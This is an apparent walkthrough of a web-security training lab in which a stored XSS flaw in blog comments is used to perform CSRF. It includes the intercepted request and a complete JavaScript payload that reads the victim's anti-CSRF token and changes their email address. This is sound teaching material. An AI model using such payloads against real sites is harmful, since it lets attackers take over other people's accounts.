Exploiting XSS to perform CSRF

Description

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: wiener:peter

Approach

After logging in with the provided credentials, I went straight to the change email functionality. After intercepting the request, I observed the following request:

POST /my-account/change-email HTTP/2
Host: 0a5100ad03a6632a810825ec005e004c.web-security-academy.net
Cookie: session=51MCl7sgcemzqwNcTJ9NSQ7mdqRlAUgz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
email=qwe%40asdqwe.com&csrf=lMDeiDaKPutRQ6StlVaJASSjQ9Yc0d9F

To change the email, the user needs to send a POST request to /my-account/change-email with a parameter called email and an anti-CSRF token. Building an attack path: When I get the XSS working, I need to extract the CSRF token of the victim user, then send a POST request to /my-account/change-email with a new, unused email and the extracted CSRF token.

I went to the comment section to confirm the Cross-Site Scripting (XSS) vulnerability. After injecting some HTML in the comment input, I observed that it renders the HTML tags back, indicating that the injection worked. Now, I will build my XSS script to get my attack working:

<script>

function extractCSRFToken(html) {
    var parser = new DOMParser();
    var doc = parser.parseFromString(html, 'text/html');
    var tokenInput = doc.querySelector('input[name="csrf"]');
    return tokenInput ? tokenInput.value : null;
}


function fetchPageAndHandleResponse() {
    var req = new XMLHttpRequest();
    req.onload = function() {
        var token = extractCSRFToken(this.responseText);
        if (token) {
            sendChangeEmailRequest(token);
        } else {
            console.error('CSRF token not found');
        }
    };
    req.open('GET', '/my-account', true);
    req.send();
}

function sendChangeEmailRequest(token) {
    var changeReq = new XMLHttpRequest();
    changeReq.open('POST', '/my-account/change-email', true);
    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    var params = 'csrf=' + encodeURIComponent(token) + '&email=ichyaboywashere@hacked.com';
    changeReq.send(params);
}

fetchPageAndHandleResponse();
</script>

This script is a bit stretched to make things more clear, or you can use a shorter version like the one in the solution:

After inputting one of these scripts in the comment input and submitting the comment, I observed that the lab was solved, confirming that the victim user's email got changed.